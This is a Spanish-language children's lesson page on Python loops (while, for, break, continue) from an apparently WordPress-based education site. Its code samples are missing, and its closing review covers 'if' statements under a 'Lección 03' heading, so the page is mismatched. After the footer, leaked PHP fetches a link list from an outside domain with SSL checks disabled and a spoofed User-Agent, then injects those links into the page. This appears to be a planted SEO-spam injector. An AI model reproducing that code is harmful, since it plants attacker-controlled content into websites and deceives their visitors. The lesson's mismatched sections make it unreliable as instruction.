Be Maker

Loading...

Be Maker

Programación con Python y EduBlocks

LECCIÓN 04 – ¡Repite y Repite con Bucles!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Hola, exploradores de la programación!

💡¿Sabías que los videojuegos, los robots y las aplicaciones hacen cosas repetitivas sin cansarse ¡Eso es lo que hacen los bucles en programación!
En esta lección aprenderemos cómo decirle a Python: “¡Repite esto hasta que yo diga que pares!”

🚀 4.1 ¿Qué es un Bucle?

💡 Un bucle es cuando le decimos a la computadora que haga algo una y otra vez hasta que le pidamos que se detenga.

04

🔎 Ejemplo:

🕰️ Un reloj repite los segundos, minutos y horas todos los días. 

❤️ Tu corazón late sin parar mientras estás vivo.

🚀 4.2 Bucle While: Repetir hasta que algo pase

💡 Con un bucle while, la computadora sigue repitiendo una acción mientras una condición sea verdadera. Es como jugar hasta que mamá diga "¡Hora de cenar!".

05

🧪 Experimento 01: Repeticiones con while

🔬 Explicación:

1️⃣ cont = 1 → Creamos una variable que empieza en 1.
2️⃣ while cont <= 5: → Se ejecuta mientras cont sea menor o igual a 5.
3️⃣ cont = cont + 1 → Aumentamos cont en 1 para que no se repita infinitamente.

🛸 Proyecto 1: Contando Monedas de Oro

 📌 ¿Qué pasó?

El bucle imprime la cantidad de monedas de oro que tenemos del 1 al 10, ¡y luego se detiene!

🛸 Proyecto 2: Contraseña Correcta

 📌 ¿Qué pasó?

✅ El bucle sigue pidiendo la contraseña hasta que el usuario escriba "cadabra".
✅ Cuando la condición ya no se cumple (pass == secre), el bucle termina.

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Pide al usuario que escriba "salir" para terminar un bucle

💻 Resultado:

🚀 4.3 El Bucle for: Repite un Número de Veces

💡 El bucle for se usa cuando sabemos cuántas veces queremos repetir algo. Es como cuando contamos cuántas veces brincamos la cuerda. ¡Sabemos exactamente cuántas veces lo haremos!

06

🧪 Experimento 02: Repeticiones con for

🔬 Explicación:

El bucle imprime "hola" 5 veces, y luego se detiene.

🛸 Proyecto 3: Construyendo una Torre

 📌 ¿Qué pasó?

El bucle imprime la cantidad de ladrillos que colocamos que va del 1 al 5, ¡y luego se detiene!

🛸 Proyecto 4: Contador

 📌 ¿Qué pasó?

El bucle imprime "contando número" 10 veces, y luego se detiene.

🛠️ Desafío 2: Demuestra lo Aprendido

➡️ Usa un bucle para mostrar los números pares del 1 al 10.

💻 Resultado:

🚀 4.4 Rompiendo Bucles con break y continue

💡 A veces, queremos detener un bucle antes de que termine, o saltarnos una repetición. Para eso usamos break y continue.

📌 Break: Detiene el bucle antes de que termine.
📌 Continue: Salta una repetición, pero el bucle sigue.

07

🧪 Experimento 03: Usando break

🔬 Explicación:

break Detiene el bucle cuando i es 5, sin esperar a que llegue a las 10 repeticiones.

🧪 Experimento 04: Usando continue

🔬 Explicación:

continue Salta los números pares, significando que no se ejecutan las acciones después de continue.

🛸 Proyecto 5: Rompiendo el Bucle

 📌 ¿Qué pasó?

Se usa break para salir de un bucle cuando el usuario escriba "stop"

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ ¡Crea tu Propio Juego de Adivinanzas! Guarda un número secreto, por ejemplo el 4.

1️⃣ El usuario piensa y escribe  un número para adivinar el número secreto.

2️⃣ Ejemplo, si el usuario puso 5, la computadora debe mostrar: El número secreto es menor.

3️⃣ Si el usuario puso 10, la computadora debe mostrar: El número secreto es menor.

4️⃣ Si el usuario puso 4, la computadora debe mostrar: Ganaste! Ese es el número secreto.

💻 Resultado:

🎯 Resumen de la Lección 03

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: Verdadero o Falso

1️⃣ "if" sirve para tomar decisiones.
2️⃣ "if" solo funciona con números.
3️⃣ Las instrucciones dentro de "if" se ejecutan solo si la condición es verdadera.

🔥 Pregunta 02: Comprueba

1️⃣ Qué pasaría si hace el siguiente código. ¿La comparación es verdadera o falsa?

💻 Programa en tu Computadora

🔥 Reto 01:

Crea un programa que diga "Es de día" si el usuario escribe "mañana"

💻 Resultado:

🔥 Reto 02:

Haz un programa que pregunte si te gustan los helados y, si es verdad, diga "A mí también"

💻 Resultado:

🔥 Reto 03:

Pregunta la temperatura y muestra "Hace frío" si es menor a 15°C

💻 Resultado:

🔥 Reto 04:

Crea un programa que pida un número y diga si es mayor que 10.

💻 Resultado:

🔥 Reto 05:

Pide la edad y di si puede o no puede entrar a una sección de juegos de niños pequeños (máximo 6 años)

💻 Resultado:

🔥 Reto 06:

Crea un programa que compare dos números y diga si son iguales o diferentes

💻 Resultado:

🔥 Reto 07:

Crea un programa que solo diga "Hola amigo" si el usuario ingresa "hola" o "hey"

💻 Resultado:

🔥 Reto 08:

Haz un programa que pregunte si tienes hambre y sed, y diga "Ve a comer y beber algo"

💻 Resultado:

🔥 Reto 09:

Pide un color del semáforo y si es "rojo", muestra "Detente", si es "amarillo", muestra "Cuidado", si es "verde", muestra "Avance" y si es otro color, muestra "Error"

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Experiencia💰

Un mago te pide elegir un número entre 1 y 3. Dependiendo del número, te da un hechizo diferente:

1️⃣ = Hechizo de fuego

2️⃣ = hechizo de agua

3️⃣ = hechizo de luz

Escribe un programa que pida un número y diga qué hechizo obtienes

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }